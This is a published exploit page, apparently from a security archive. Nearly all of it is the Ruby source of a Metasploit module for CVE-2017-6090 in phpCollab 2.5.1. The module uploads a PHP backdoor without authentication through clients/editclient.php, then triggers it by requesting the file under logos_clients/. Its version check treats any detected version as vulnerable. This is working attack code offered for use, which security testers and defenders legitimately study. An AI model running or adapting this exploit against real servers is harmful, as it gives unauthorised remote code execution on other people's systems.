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phpCollab 2.5.1 Unauthenticated File Upload

phpCollab 2.5.1 Unauthenticated File Upload
Posted Jan 11, 2018
Authored by Nicolas Serra, Nick Marcoccio | Site metasploit.com

This Metasploit module exploits a file upload vulnerability in phpCollab version 2.5.1 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the web server user. The exploit has been tested on Ubuntu 16.04.3 64-bit

tags | exploit, web, arbitrary, file upload
systems | linux, ubuntu
advisories | CVE-2017-6090
MD5 | 49412c9229ada92b55b3cbcd05d8eb54

phpCollab 2.5.1 Unauthenticated File Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in phpCollab 2.5.1
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the web server user.

The exploit has been tested on Ubuntu 16.04.3 64-bit
},
'Author' =>
[
'Nicolas SERRA <n.serra[at]sysdream.com>', # Vulnerability discovery
'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-6090' ],
[ 'EDB', '42934' ],
[ 'URL', 'http://www.phpcollab.com/' ],
[ 'URL', 'https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2017'
))

register_options(
[
OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
])
end

def check
url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)

version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
vprint_status("Found version: #{version}")

unless version
vprint_status('Unable to get the PhpCollab version.')
return CheckCode::Unknown
end

if Gem::Version.new(version) >= Gem::Version.new('0')
return CheckCode::Appears
end

CheckCode::Safe
end

def exploit
filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'
id = File.basename(filename,File.extname(filename))
register_file_for_cleanup(filename)

data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")

print_status("Uploading backdoor file: #{filename}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),
'vars_get' => {
'id' => id,
'action' => 'update'
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})

if res && res.code == 302
print_good("Backdoor successfully created.")
else
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
end

print_status("Triggering the exploit...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "logos_clients/" + filename)
}, 5)
end
end

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